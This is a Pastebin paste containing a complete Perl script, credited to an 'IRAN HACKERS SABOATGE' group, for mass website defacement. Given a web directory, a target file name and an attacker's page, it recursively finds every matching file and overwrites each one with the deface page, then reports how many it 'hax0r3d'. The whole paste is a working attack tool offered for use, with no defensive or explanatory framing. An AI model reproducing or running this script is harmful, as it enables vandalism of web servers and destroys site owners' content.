angeloking1995

mass deface

Aug 21st, 2016
50
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.15 KB | None | 0 0
  1. #!/usr/local/bin/perl
  2. ################################## ABOUT ###################################################
  3. $VERSION="Version 0.1 by LorD";
  4. $about =
  5. "\n\e[32m--== [ \e[31mIRAN HACKERS SABOATGE Tools for Mass Defacement $VERSION \e[32m] ==--\e[m\n".
  6. "\e[36mContact:\e[m\n".
  7. "\t \e[33m@\e[m\e[34mE-Mail\e[m: \e[36mlord\e[m\e[31m\@\e[m\e[36mihsteam.com\e[m\n".
  8. "\t \e[33m#\e[m\e[34mIRC: \e[36mIRC.Zirc.org\e[m - channel \e[33m#\e[m\e[32mIHS\e[m\n".
  9. "\n\e[31m=-=-=-=-=-=\e[m".
  10. "\n\e[36mInfo:\e[m\n".
  11. "\t\e[33m-d\e[m \e[31m=\e[m \e[33mDiretory that We Want be Massdeface\e[m\n".
  12. "\t\e[33m-f\e[m \e[31m=\e[m \e[33mfile name that u want to attack for mass deafce\e[m\n".
  13. "\t\e[33m-n\e[m \e[31m=\e[m \e[33mlocation of attacker deface page.\e[m\n".
  14. "\e[36mExemplo:\e[m\nperl $0.pl \e[33m-d\e[m /www \e[33m-f\e[m index. \e[33m-n\e[m /tmp/index.html\n".
  15. "\e[31m=-=-=-=-=-=\e[m\n";
  16. ############################################################################################
  17. use Getopt::Std;
  18. getopts('d:f:n:', \%args);
  19. if (defined($args{'d'})){$dir=$args{'d'};}else{$dir="";}
  20. if (defined($args{'f'})){$file=$args{'f'};}else{$file="";}
  21. if (defined($args{'n'})){$newfile=$args{'n'};}else{$newfile="";}
  22.  
  23. print $about;
  24.  
  25. $dirok="\e[33m[+]\e[m Ok, Diretory that wanna be Massdeface: \e[32m$dir\e[m";
  26. $fileok="\e[33m[+]\e[m Ok, O file name for attack: \e[32m$file\e[m";
  27. $newfileok="\e[33m[+]\e[m Ok, location of attacker index file: \e[32m$newfile\e[m";
  28.  
  29. if("$dir") {
  30. print "$dirok\n";
  31. sleep(1);
  32. } else {
  33. exit();
  34. }
  35. if("$file") {
  36. print "$fileok\n";
  37. sleep(1);
  38. }
  39. else
  40. {
  41. print "";
  42. exit();
  43. }
  44. if("$newfile") {
  45. print "$newfileok\n";
  46. sleep(1);
  47. }
  48. else
  49. {
  50. print "";
  51. exit();
  52. }
  53.  
  54. printf "\e[33m[+]\e[m Start Defacing......\n";
  55. my @troca;
  56. find($dir, sub { push(@troca, $_[0]) if ($_[0] =~ /$file/i) });
  57. my $quantidade = scalar(@troca);
  58.  
  59. if($quantidade<=0) {
  60. print "\e[31m[-]\e[m Erro: Nenhum Arquivo encontrado.\n";sleep(1);
  61. print "\e[31m[-]\e[m Coloque a extencao do arquivo.\n";sleep(1);
  62. print "\e[31m[-]\e[m Ou, Apenas arquivo. [Sem extencao].\n";sleep(1);
  63. exit();
  64. }
  65.  
  66. printf "\e[33m[+]\e[m Ok, found: \e[32m$quantidade\e[m files...\n";sleep(1);
  67. printf "\e[33m[+]\e[m Defacing index files.\n";
  68. open(NEW, "< $newfile");
  69. foreach $files(@troca)
  70. {
  71. open(FILE, "> $files");
  72. while (<NEW>) {
  73. print FILE $_;
  74. }
  75. close(FILE);
  76. seek(NEW, 0, 0);
  77. }
  78. close(NEW);
  79. sleep(1);
  80. printf "\e[33m[+]\e[m hax0r3d Sucessfull!\n";sleep(1);
  81. printf "\e[33m[+]\e[m Total files that defaced: \e[32m$quantidade\e[m\n";
  82. sub find {
  83. my ($path, $callback) = @_;
  84. $path = '/' unless $path;
  85. $path =~ s/^\/+/\//;
  86. $path =~ s/\/$//;
  87. my @files = list_dir($path);
  88. my @dirs;
  89. foreach my $file (@files) {
  90. my $filepath = $path.'/'.$file;
  91. &{$callback}($filepath);
  92. push(@dirs, $filepath) if (-d $filepath);
  93. }
  94. undef(@files);
  95. map { find($_, $callback) } @dirs;
  96. return(1);
  97. }
  98. sub list_dir {
  99. my ($dir, $dont_list_subdirs) = @_;
  100. opendir(DIR, $dir) || return();
  101. my @files = readdir(DIR);
  102. closedir(DIR);
  103. @files = grep { !-d "$dir/$_" } @files if ($dont_list_subdirs);
  104. my @files = grep { $_ !~ /^(\.){1,2}$/ } @files;
  105. return(@files);
  106. }
Add Comment
Please, Sign In to add comment